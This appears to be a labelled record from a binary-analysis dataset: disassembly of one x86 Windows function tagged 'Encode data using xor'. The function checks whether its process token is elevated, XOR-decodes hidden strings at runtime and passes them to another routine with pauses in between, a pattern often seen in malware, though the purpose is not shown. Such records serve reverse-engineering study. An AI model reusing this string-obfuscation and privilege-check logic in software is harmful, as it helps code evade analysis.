Function at 0x402c10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4b8
mov eax, dword [0x418040]
xor eax, esp
mov dword [esp + 0x4b4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x2b8], ax
lea eax, [esp + 0x2ba]
push eax
call fcn.00404d60
add esp, 0xc
mov dword [esp + 0x8c], 0
lea eax, [esp + 0x2b0]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x8c]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402dc7
lea eax, [esp + 0x94]
push eax
push 4
lea eax, [esp + 0x98]
push eax
push 0x14
push dword [esp + 0x9c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x402dc7
cmp dword [esp + 0x90], 0
jne 0x402dc7
call fcn.004013c0
test eax, eax
je 0x4033b4
push 0x20a
lea eax, [esp + 0xa4]
mov dword [esp + 0x9c], 0x200026
push 0
push eax
mov dword [esp + 0xa8], 0x27
call fcn.00404d60
add esp, 0xc
lea eax, [esp + 0x2b0]
push eax
lea eax, [esp + 0x9c]
push 0x109
push eax
call fcn.00406ae3
add esp, 0xc
lea eax, [esp + 0x98]
push 0x415ff4
push 0x109
push eax
call fcn.00406ae3
mov eax, dword [0x4160b8]
add esp, 0xc
movups xmm0, xmmword [str.FXOHHTXRS_]
mov dword [esp + 0x20], eax
xor esi, esi
mov ax, word [0x4160bc]
movups xmmword [esp + 0x10], xmm0
mov word [esp + 0x24], ax
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x10], ax
inc esi
cmp esi, 0xb
jl 0x402d55
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401f20
mov eax, dword [esp + 0x90]
add esp, 4
test eax, eax
je 0x4033b4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4b4]
xor ecx, esp
call fcn.00403735
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x402de4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x8c], 0
lea ecx, [esp + 0x2b0]
call fcn.00402100
call fcn.004013c0
test eax, eax
je 0x4033b4
mov ecx, 0x28
lea edi, [esp + 0x98]
mov esi, 0x416268
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
cmp dword [0x418d28], 2
jl 0x402f37
movaps xmm4, xmmword [0x416340]
movaps xmm3, xmmword [0x4163a0]
movaps xmm5, xmmword [0x416360]
movaps xmm6, xmmword [0x416380]
nop dword [eax]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x98]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x98], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xa0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xa0], xmm1
add esi, 8
cmp esi, 0x50
jl 0x402e40
jmp 0x402f66
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x98], ax
inc esi
cmp esi, 0x51
jl 0x402f37
mov eax, dword [0x4160b8]
xor esi, esi
movups xmm0, xmmword [str.FXOHHTXRS_]
mov dword [esp + 0x20], eax
mov ax, word [0x4160bc]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
nop dword [eax]
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x10], ax
inc esi
cmp esi, 0xb
jl 0x402f90
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401f20
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x43
lea edi, [esp + 0x98]
mov esi, 0x4160e0
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x418d28]
xor esi, esi
cmp edi, 2
jl 0x403120
movaps xmm4, xmmword [0x416340]
movaps xmm3, xmmword [0x4163a0]
movaps xmm5, xmmword [0x416360]
movaps xmm6, xmmword [0x416380]
nop
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x98]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x98], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xa0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xa0], xmm1
add esi, 8
cmp esi, 0x80
jl 0x403020
jmp 0x40314f
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x98], ax
inc esi
cmp esi, 0x86
jl 0x403120
mov eax, dword [0x4160b8]
xor esi, esi
movups xmm0, xmmword [str.FXOHHTXRS_]
mov dword [esp + 0x20], eax
mov ax, word [0x4160bc]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
nop dword [eax]
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x10], ax
inc esi
cmp esi, 0xb
jl 0x403180
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401f20
add esp, 4
push 0x2ee0
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x416010]
mov ax, word [0x416050]
xor esi, esi
mov word [esp + 0x70], ax
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x416020]
movups xmmword [esp + 0x40], xmm0
movups xmm0, xmmword [0x416030]
movups xmmword [esp + 0x50], xmm0
movups xmm0, xmmword [0x416040]
movups xmmword [esp + 0x60], xmm0
cmp edi, 2
jl 0x403320
movaps xmm4, xmmword [0x416340]
movaps xmm3, xmmword [0x4163a0]
movaps xmm5, xmmword [0x416360]
movaps xmm6, xmmword [0x416380]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x30]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x38]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x38], xmm1
add esi, 8
cmp esi, 0x20
jl 0x403231
jmp 0x40334c
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x30], ax
inc esi
cmp esi, 0x21
jl 0x403320
mov eax, dword [0x4160b8]
xor esi, esi
movups xmm0, xmmword [str.FXOHHTXRS_]
mov dword [esp + 0x20], eax
mov ax, word [0x4160bc]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x10], ax
inc esi
cmp esi, 0xb
jl 0x403373
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x14]
call fcn.00401f20
add esp, 4
mov ecx, dword [esp + 0x4bc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00403735
mov esp, ebp
pop ebp
ret 0x10